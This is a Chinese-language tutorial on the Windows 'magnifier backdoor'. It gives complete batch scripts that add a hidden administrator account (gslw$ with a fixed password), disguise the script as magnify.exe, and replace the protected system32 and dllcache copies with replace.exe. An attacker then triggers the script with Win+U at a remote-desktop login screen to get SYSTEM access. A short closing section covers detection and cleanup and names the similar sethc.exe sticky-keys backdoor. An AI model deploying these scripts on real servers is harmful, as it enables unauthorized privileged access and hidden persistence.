通常情况下,攻击者通过构造的magnify.exe程序创建一个管理员用户,然后登录系统。当然有的时候他们也会通过其直接调用命令提示符(cmd.exe)或者系统shell(explorer.exe)。需要说明的是,这样调用的程序都是system权限,即系统最高权限。不过,以防万一当管理员在运行放大镜程序时发现破绽,攻击者一般通过该构造程序完成所需的操作后,最后会运行真正的放大镜程序,以蒙骗管理员。其利用的方法是:
(1).构造批处理脚本
@echo off
net user gslw$ test168 /add
net localgroup administrators gslw$ /add
%Windir%\system32\nagnify.exe
exit
将上面的脚本保存为magnify.bat,其作用是创建一个密码为test168的管理员用户gslw$,最后运行改名后的放大镜程序nagnify.exe。(图2)
(2).文件格式转换
因为批处理文件magnify.bat的后缀是bat,必须要将其转换为同名的exe文件才可以通过组合键Win+U调用。攻击者一般可以利用WinRar构造一个自动解压的exe压缩文件,当然也可以利用bat2com、com2exe进行文件格式的转换。我们就以后面的方法为例进行演示。
打开命令行,进入bat2com、com2exe工具所在的目录,然后运行命令“bat2com magnify.bat”将magnify.bat转换成magnify.com,继续运行命令“com2exe magnify.com”将magnify.com转换成magnify.exe,这样就把批处理文件转换成和放大镜程序同名的程序文件。(图3)
(3).放大镜文件替换
下面就需要用构造的magnify.exe替换同名的放大镜程序文件,由于Windows对系统文件的自我保护,因此不能直接替换,不过Windows提供了一个命令replace.exe,通过它我们可以替换系统文件。另外,由于系统文件在%Windir%\system32\dllcache中有备份,为了防止文件替换后又重新还原,所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下,我们可以通过一个批处理即可实现文件的替换。
@echo off
copy %Windir%\system32\dllcache\magnify.exe nagnify.exe
copy %Windir%\system32\magnify.exe nagnify.exe
replace.exe %Windir%\magnify.exe %Windir%\system32\dllcache
replace.exe %Windir%\magnify.exe %Windir%\system32
exit
上面批处理的功能是,首先将放大镜程序备份为nagnify.exe,然后用同名的构造程序将其替换。(图4)
(4).攻击利用
当完成上述操作后,一个放大镜后门就做成了。然后攻击者通过远程桌面连接服务器,在登录界面窗口摁下本地键盘的“Win+U”组合键,选择运行其中的“放大镜”,此刻就在服务器上创建了一个管理员用户gslw$并打开了放大镜工具,然后攻击者就开业通过该帐户登录服务器。当然,攻击者在断开登录前会删除所有与该帐户相关的信息,以防被管理员发现。(图5)
(5).防范措施
进入%Windir%\system32\查看magnify.exe的文件图标是否是原来的放大镜的图标,如果不是的话极有可能被植入了放大镜后门。当然,有的时候攻击者也会将其文件图标更改为和原放大镜程序的图标一样。此时我们可以查看magnify.exe文件的大小和修改时间,如果这两样有一项不符就比较怀疑了。我们也可以先运行magnify.exe,然后运行lusrmgr.msc查看是否有可疑的用户。如果确定服务器被放置了放大镜后门,首先要删除该文件,然后恢复正常的放大镜程序。当然,我们也可以做得更彻底一些,用一个无关紧要的程序替换放大镜程序。甚至我们也可以以其人之道还治其人之身,构造一个magnify.exe,通过其警告攻击者或者进行入侵监控和取证。
补充:与放大镜后门类似的还有“粘滞键”后门,即按下SHIEF键五次可以启动粘滞键功能,其利用和防范措施与放大镜后门类似,只是将magnify.exe换成了sethc.exe。